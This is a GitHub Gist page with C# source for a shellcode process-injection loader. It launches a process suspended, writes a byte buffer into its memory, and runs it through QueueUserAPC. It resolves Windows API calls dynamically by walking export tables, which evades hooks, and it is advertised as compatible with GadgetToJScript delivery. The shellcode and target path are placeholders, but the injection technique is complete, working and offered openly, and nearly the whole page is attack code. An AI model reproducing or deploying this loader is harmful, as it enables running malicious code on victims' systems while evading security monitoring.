Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace DinjectorWithQUserAPC
{
public class Program
{
static void Main(string[] args)
{
byte[] sc = { 0x31, 0x33, 0x33, 0x37 };
string processPath = @"path to some process";
STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO();
STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION();
var shellcode = sc;
IntPtr pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "CreateProcessA");
DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess;
bool success = CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
DELEGATES.VirtualAllocEx virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx;
IntPtr alloc = virtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
DELEGATES.WriteProcessMemory writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory;
writeProcessMemory(pi.hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "OpenThread");
DELEGATES.OpenThread openThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenThread)) as DELEGATES.OpenThread;
IntPtr tpointer = openThread(STRUCTS.ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
uint oldProtect = 0;
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
DELEGATES.VirtualProtectEx virtualProtectEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx;
virtualProtectEx(pi.hProcess, alloc, shellcode.Length, 0x20, out oldProtect);
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "QueueUserAPC");
DELEGATES.QueueUserAPC queueUserAPC = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC;
queueUserAPC(alloc, tpointer, IntPtr.Zero);
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "ResumeThread");
DELEGATES.ResumeThread resumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread;
resumeThread(pi.hThread);
}
public Program()
{
Main(new string[] { });
}
}
public class DELEGATES
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle,
int dwThreadId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint ResumeThread(IntPtr hThhread);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
}
public class STRUCTS
{
[Flags]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[Flags]
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
/// <summary>
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
/// </summary>
public enum NTSTATUS : uint
{
// Success
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
ProcessIsTerminating = 0xc000010a,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
InvalidAddress = 0xc0000141,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
}
public class TinySharpSploit
{
public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
// Craft an array for the arguments
object[] funcargs =
{
DestinationString, SourceString
};
DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0];
}
/// <summary>
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="DLLName">Name of the DLL.</param>
/// <param name="FunctionName">Name of the function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
/// <summary>
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING();
RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionName">Name of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName);
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.